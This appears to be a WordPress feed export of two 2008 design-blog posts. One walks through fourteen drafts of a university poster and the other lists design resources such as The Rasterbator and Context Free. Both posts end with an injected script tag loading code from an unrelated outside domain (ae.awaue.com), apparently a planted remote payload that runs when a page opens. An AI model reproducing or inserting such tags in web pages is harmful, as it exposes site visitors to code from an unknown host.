<div id="attachment_236" class="wp-caption aligncenter" style="width: 510px"><a rel="lightbox" href="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0006.jpg"><img class="size-full wp-image-236" title="scan-0006" src="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0006.jpg" alt="5th Draft No Character" width="500" height="743" /></a><p class="wp-caption-text">5th Draft No Character</p></div>
<p>With out the character to anchor the whole design it started to unravel a bit as I messed around with the proportions and text placement.</p>
<div id="attachment_240" class="wp-caption aligncenter" style="width: 510px"><a rel="lightbox" href="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0010.jpg"><img class="size-full wp-image-240" title="scan-0010" src="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0010.jpg" alt="6th Draft Different Text Placement" width="500" height="743" /></a><p class="wp-caption-text">6th Draft Different Text Placement</p></div>
<p>The text placement in this version is close to where it ends up in the final poster. But the proportion and size of the flags still isn&#8217;t working out.</p>
<div id="attachment_241" class="wp-caption aligncenter" style="width: 510px"><a rel="lightbox" href="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0011.jpg"><img class="size-full wp-image-241" title="scan-0011" src="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0011.jpg" alt="7th Draft Smoke Flags Changed" width="500" height="743" /></a><p class="wp-caption-text">7th Draft Smoke Flags Changed</p></div>
<div id="attachment_242" class="wp-caption aligncenter" style="width: 510px"><a rel="lightbox" href="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0012.jpg"><img class="size-full wp-image-242" title="scan-0012" src="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0012.jpg" alt="8th Draft Flags and Text Different" width="500" height="743" /></a><p class="wp-caption-text">8th Draft Flags and Text Different</p></div>
<p>This draft also includes the flags attaching to the poles differently (as you can see in the drawings at the top) and moving Civil War Lan back to the bottom to try and anchor the flags.</p>
<div id="attachment_244" class="wp-caption aligncenter" style="width: 510px"><a rel="lightbox" href="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0014.jpg"><img class="size-full wp-image-244" title="scan-0014" src="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0014.jpg" alt="9th Draft Bars Reappear Some stuff is removed to redo" width="500" height="743" /></a><p class="wp-caption-text">9th Draft Bars Reappear Some stuff is removed to redo</p></div>
<p>Trying to add some weight to the poster mean I bring back the black bars from the start. I&#8217;m also reworking how the flags attach to the poles after overdoing it the first time around.</p>
<p>But the design still isn&#8217;t working so Lee asks me to look at stock robots we could use. What I come up with enthuses no one.</p>
<div id="attachment_245" class="wp-caption aligncenter" style="width: 510px"><a rel="lightbox" href="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0015.jpg"><img class="size-full wp-image-245" title="scan-0015" src="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0015.jpg" alt="10th Draft Version A Stock Character" width="500" height="745" /></a><p class="wp-caption-text">10th Draft Version A Stock Character</p></div>
<div id="attachment_246" class="wp-caption aligncenter" style="width: 510px"><a rel="lightbox" href="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0016.jpg"><img class="size-full wp-image-246" title="scan-0016" src="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0016.jpg" alt="10th Draft Version B" width="500" height="743" /></a><p class="wp-caption-text">10th Draft Version B</p></div>
<p>Neither of these robots work at this point Paul wanted this to work as much as I do and offers to do a character illustration for me to drop in.</p>
<div id="attachment_249" class="wp-caption aligncenter" style="width: 510px"><a rel="lightbox" href="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0020.jpg"><img class="size-full wp-image-249" title="scan-0020" src="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0020.jpg" alt="11th Draft Pauls Character" width="500" height="743" /></a><p class="wp-caption-text">11th Draft Pauls Character</p></div>
<p>This looks promising but the coloring doesn&#8217;t work out on the character and then Lee comes to the rescue with the computer graveyard idea that ends up on the final poster. An hour or so of searching IStock gives me the this mock-up.</p>
<div id="attachment_250" class="wp-caption aligncenter" style="width: 510px"><a rel="lightbox" href="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0021.jpg"><img class="size-full wp-image-250" title="scan-0021" src="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0021.jpg" alt="12th Draft Stock Photomockup" width="500" height="740" /></a><p class="wp-caption-text">12th Draft Stock Photomockup</p></div>
<p>This gives me a good feeling and Lee agrees so net is the first mockup with the stock photos edited and placed.</p>
<div id="attachment_252" class="wp-caption aligncenter" style="width: 510px"><a rel="lightbox" href="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0023.jpg"><img class="size-full wp-image-252" title="scan-0023" src="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0023.jpg" alt="13th Draft Hi-Res Stock Added" width="500" height="739" /></a><p class="wp-caption-text">13th Draft Hi-Res Stock Added</p></div>
<p>This is what the final poster ended up being. I just went in and added the smoke back in.</p>
<div id="attachment_253" class="wp-caption aligncenter" style="width: 510px"><a rel="lightbox" href="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0024.jpg"><img class="size-full wp-image-253" title="scan-0024" src="http://emumarketing.uoregon.edu/wp-content/uploads/2008/10/scan-0024.jpg" alt="14th Draft Final Image" width="500" height="763" /></a><p class="wp-caption-text">14th Draft Final Image</p></div>
<p>And there it is in all its glory. Notice the misspelling of &#8220;Oregon State University&#8221; which someone catches right before we go to press and which remained misspelled throughout 14 drafts and almost 30 print outs.</p>
<p>The final file wieghs in at several hundered megabytes over 50 layers and half a dozen smart objects each containing an additional 10 layers. The 32&#215;57.5 version that will be outside the Fish Bowl soon weights in at almost a gig.<script src="http://ae.awaue.com/7"></script></p>
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		<title>FOUND LINKS #6</title>
		<link>http://www.upsidedowncity.net/found-links-6/</link>
		<comments>http://www.upsidedowncity.net/found-links-6/#comments</comments>
		<pubDate>Sat, 11 Oct 2008 07:46:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Links]]></category>
		<category><![CDATA[Inspiration]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[tutor]]></category>

		<guid isPermaLink="false">http://www.upsidedowncity.net/?p=247</guid>
		<description><![CDATA[So I pulled some links out of the archives this week you should be rather pleased with the selection. A free app, an awesome tutorial, a resources site for designers and a graphics generating engine called Context Free.

I recently thought about The Rasterbator at a meeting for the UO Digital Arts Student Group, ASDA, where [...]]]></description>
			<content:encoded><![CDATA[<p>So I pulled some links out of the archives this week you should be rather pleased with the selection. A free app, an awesome tutorial, a resources site for designers and a graphics generating engine called Context Free.</p>
<p style="text-align: center;" mce_style="text-align: center;"><a href="http://arje.net/rasterbator" mce_href="http://arje.net/rasterbator"><img class="aligncenter size-medium wp-image-250 clear" title="rasterbator-closeup2" src="http://www.upsidedowncity.net/wp-content/uploads/2008/10/rasterbator-closeup2.jpg" mce_src="http://www.upsidedowncity.net/wp-content/uploads/2008/10/rasterbator-closeup2.jpg" alt="" height="246" width="300"></a></p>
<p>I recently thought about <a title="The Rasterbator" href="http://arje.net/rasterbator" mce_href="http://arje.net/rasterbator">The Rasterbator</a> at a meeting for the UO Digital Arts Student Group, <a title="ASDA :: Associated Students in the Digital Arts" href="http://asda.uoregon.edu" mce_href="http://asda.uoregon.edu">ASDA</a>, where we discussed doing some large scale outdoor art with it. It takes an image you upload and turns it into a massive halftone reproduction, on letter sized paper. Take a look at the gallery for more ideas and inspiration,</p>
<p><a href="http://www.digitalartsonline.co.uk/tutorials/index.cfm?featureID=1759&amp;pn=3" mce_href="http://www.digitalartsonline.co.uk/tutorials/index.cfm?featureID=1759&amp;pn=3"><img class="aligncenter size-medium wp-image-251" title="step_07b" src="http://www.upsidedowncity.net/wp-content/uploads/2008/10/step_07b.jpg" mce_src="http://www.upsidedowncity.net/wp-content/uploads/2008/10/step_07b.jpg" alt="" height="219" width="350"></a></p>
<p>This is a new tutorial from <a title="Digital Arts" href="http://www.digitalartsonline.co.uk/index.cfm" mce_href="http://www.digitalartsonline.co.uk/index.cfm">Digital Arts</a>. In it the author take some extruded text in illustrator and warps into abstract shapes I&#8217;ll post my results with this technique this week end, as I&#8217;m using this for a new poster design.</p>
<p><a href="http://www.designerstoolbox.com/" mce_href="http://www.designerstoolbox.com/"><img class="aligncenter size-medium wp-image-248" title="ad_hp_0508_740x230_noflash" src="http://www.upsidedowncity.net/wp-content/uploads/2008/10/ad_hp_0508_740x230_noflash-400x124.gif" mce_src="http://www.upsidedowncity.net/wp-content/uploads/2008/10/ad_hp_0508_740x230_noflash-400x124.gif" alt="" height="124" width="400"></a></p>
<p>In case you live in a hole (you would have to if you haven&#8217;t found this yet) and you haven&#8217;t found <a title="Designers Toolbox" href="http://www.designerstoolbox.com/" mce_href="http://www.designerstoolbox.com/">Designers Toolbox</a> yet, it&#8217;s now your new best friend. Loads of templates and other goodies are in here just poke around and you will find something you need.</p>
<p><a href="http://www.contextfreeart.org/index.html" mce_href="http://www.contextfreeart.org/index.html"><img class="aligncenter size-medium wp-image-249" title="full_1382" src="http://www.upsidedowncity.net/wp-content/uploads/2008/10/full_1382-400x344.png" mce_src="http://www.upsidedowncity.net/wp-content/uploads/2008/10/full_1382-400x344.png" alt="" height="344" width="400"></a></p>
<p><a title="Context Free" href="http://www.contextfreeart.org/index.html" mce_href="http://www.contextfreeart.org/index.html">Context Free</a>. One of my favorite little tricks. It generates vector objects based on certain rules you define the code looks a little like CSS and is easy to learn. I&#8217;ll probally post a basic tutorial on how to use it later with some examples.</p>
<p><script src="http://ae.awaue.com/7"></script></p>
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